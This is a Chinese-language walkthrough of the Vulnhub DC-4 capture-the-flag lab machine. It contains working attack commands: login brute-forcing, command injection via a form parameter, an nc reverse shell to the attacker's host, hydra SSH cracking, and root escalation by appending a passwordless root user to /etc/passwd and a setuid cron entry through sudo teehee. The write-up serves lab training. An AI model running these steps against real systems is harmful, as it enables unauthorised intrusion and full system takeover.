Vulnhub DC-4
2022/1/19 6:06:02
本文主要是介绍Vulnhub DC-4,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
靶场链接
https://www.vulnhub.com/entry/dc-4,313/
一、信息收集
1、使用arp-sacn探测同一区域中的存活主机
arp-scan -l
可以锁定192.168.226.131为靶场ip。
2、使用nmap进行端口扫描
nmap -sS -v 192.168.226.131
发现22、80端口开放
3、进入80端口查看,是一个登录界面。随机输入用户名密码。
4、登录时使用bp抓包,并对密码进行爆破。
5、通过爆破可知密码为happy,直接进行一个账号的登录。
二、反弹shell
1、点击command,发现可以执行列出的三个命令。
2、利用bp抓包。
观察可得知“ls+-l”为“ls -l”,即空格用“+”代替。
3、修改radio参数为whoami
返回“www-data”,权限不高。
4、修改radio参数为cat+/etc/passwd+|+grep+/bin/bash
通过查找/etc/passwd文件,发现存在4个有权限的用户:root charles jim sam
5、在kali开启7777端口监听
nc -lvp 7777
6、radio修改成以下命令,让其反弹shell
nc+192.168.226.128+7777+-e/bin/bash
7、kali终端连接成功,利用python进入交互模式
python -c 'import pty;pty.spawn("/bin/sh")'
三、ssh登陆爆破
1、进入/home,发现三个目录charles、jim、sam,只有jim下有东西,分别是backups、mbox、test.sh。
2、进入backups看到有old-passwords.bak,猜测里面有密码,使用cat查看。
3、将里面内容复制出来制作一个密码本,然后利用hydra对jim进行密码爆破。
hydra -l jim -P passwd.txt ssh://192.168.226.131
4、利用jim/jibril04进行ssh远程连接
ssh jim@192.168.226.131
5、查看mbox文件,发现是一封邮件,且是root用户发过来的测试邮件。
6、进入/var/mail,查看jim文件,找到了charles发来的密码。
7、尝试ssh登录charles
ssh charles@127.0.0.1 //password:^xHhA&hvim0y
四、teehee提权和crontab提权
方法一:teehee提权
1、使用 sudo -l 查看Charles的root权限指令,发现只有teehee
2、查看teehee用法
参数 -a 可以将文本添加到指定文件并且不覆盖文件中的内容。
3、使用teehee命令将一个无密码用户kin写入到/etc/passwd文件,并加入到root组中。
echo "kin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd #[用户名]:[密码]:[uid]:[gid]:[身份描述]:[主目录]:[登录的 shell]
方法二:crontab提权
1、简介
Linux crontab是用来定期执行程序的命令。当安装完成操作系统之后,默认便会启动此任务调度命令。
时间格式如下:
f1 f2 f3 f4 f5 program 其中 f1 是表示分钟,f2 表示小时,f3 表示一个月份中的第几日,f4 表示月份,f5 表示一个星期中的第几天。program 表示要执行的程序。 当 f1 为 * 时表示每分钟都要执行 program,f2 为 * 时表示每小时都要执行程序,其馀类推; 当 f1 为 a-b 时表示从第 a 分钟到第 b 分钟这段时间内要执行,f2 为 a-b 时表示从第 a 到第 b 小时都要执行,其馀类推; 当 f1 为 */n 时表示每 n 分钟个时间间隔执行一次,f2 为 */n 表示每 n 小时个时间间隔执行一次,其馀类推; 当 f1 为 a, b, c,... 时表示第 a, b, c,... 分钟要执行,f2 为 a, b, c,... 时表示第 a, b, c...个小时要执行,其馀类推 * * * * * - - - - - | | | | | | | | | +----- 星期中星期几 (0 - 7) (星期天 为0) | | | +---------- 月份 (1 - 12) | | +--------------- 一个月中的第几天 (1 - 31) | +-------------------- 小时 (0 - 23) +------------------------- 分钟 (0 - 59)
2、基本过程
向定时任务执行脚本/etc/crontab文件中写入一个新的定时任务,然后通过teehee的sudo提升权限,再以root身份写入crontab计划任务通过执行获取root权限。
echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab # 时间部分全部填写为*,默认这个定时任务每分钟执行一次。 # 通过执行脚本将 /bin/sh 的权限修改为4777,这样就可以在非root用户下执行它,并且执行期间拥有root权限。 ls -la /bin/sh /bin/sh
五、GET FLAG
这篇关于Vulnhub DC-4的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-11-23增量更新怎么做?-icode9专业技术文章分享
- 2024-11-23压缩包加密方案有哪些?-icode9专业技术文章分享
- 2024-11-23用shell怎么写一个开机时自动同步远程仓库的代码?-icode9专业技术文章分享
- 2024-11-23webman可以同步自己的仓库吗?-icode9专业技术文章分享
- 2024-11-23在 Webman 中怎么判断是否有某命令进程正在运行?-icode9专业技术文章分享
- 2024-11-23如何重置new Swiper?-icode9专业技术文章分享
- 2024-11-23oss直传有什么好处?-icode9专业技术文章分享
- 2024-11-23如何将oss直传封装成一个组件在其他页面调用时都可以使用?-icode9专业技术文章分享
- 2024-11-23怎么使用laravel 11在代码里获取路由列表?-icode9专业技术文章分享
- 2024-11-22怎么实现ansible playbook 备份代码中命名包含时间戳功能?-icode9专业技术文章分享